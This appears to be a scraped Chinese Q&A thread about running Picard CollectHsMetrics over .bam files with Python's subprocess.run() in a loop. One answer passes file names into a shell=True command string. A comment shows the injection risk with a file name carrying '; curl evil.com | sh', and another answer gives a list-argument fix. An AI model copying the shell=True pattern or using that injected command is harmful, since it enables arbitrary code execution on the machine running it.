Python 循环内的Subprocess.run()
我想使用subprocess.run()循环文件,类似于:Python 循环内的Subprocess.run(),python,for-loop,subprocess,Python,For Loop,Subprocess,我想使用subprocess.run()循环文件,类似于: import os import subprocess path = os.chdir("/test") files = [] for file in os.listdir(path): if file.endswith(".bam"): files.append(file) for file in files: process = subprocess.run("java -jar picard
import os
import subprocess
path = os.chdir("/test")
files = []
for file in os.listdir(path):
if file.endswith(".bam"):
files.append(file)
for file in files:
process = subprocess.run("java -jar picard.jar CollectHsMetrics I=file", shell=True)
如何正确地调用这些文件?看起来您可能过于复杂了
import os
import subprocess
path = os.chdir("/test")
for file in os.listdir(path):
if file.endswith(".bam"):
subprocess.run("java -jar picard.jar CollectHsMetrics I={}".format(file), shell=True)
shell=True
如果在其中包含用户输入,则不安全@eatmeimadanish的答案允许任何可以在/test
中编写文件的人在您的机器上执行任意代码。这是一个巨大的安全漏洞
相反,为子流程.run
调用提供命令行参数列表。您可能还希望传入check=True
——否则,如果java命令失败,您的程序将毫无例外地完成
import os
import subprocess
os.chdir("/test")
for file in os.listdir("."):
if file.endswith(".bam"):
subprocess.run(
["java", "-jar", "picard.jar", "CollectHsMetrics", "I=" + file], check=True)
此代码存在安全漏洞。如果有一个文件
,该怎么办;curl evil.com | sh。bam
在/test
中?只有当文件夹对外部交互打开时,这才是一种风险。我在用户参数的框架内回答了这个问题。如果您有更好的建议,请提供更好的答案。不要使用shell=True
。找到java
二进制文件的绝对路径,并用文件名调用它。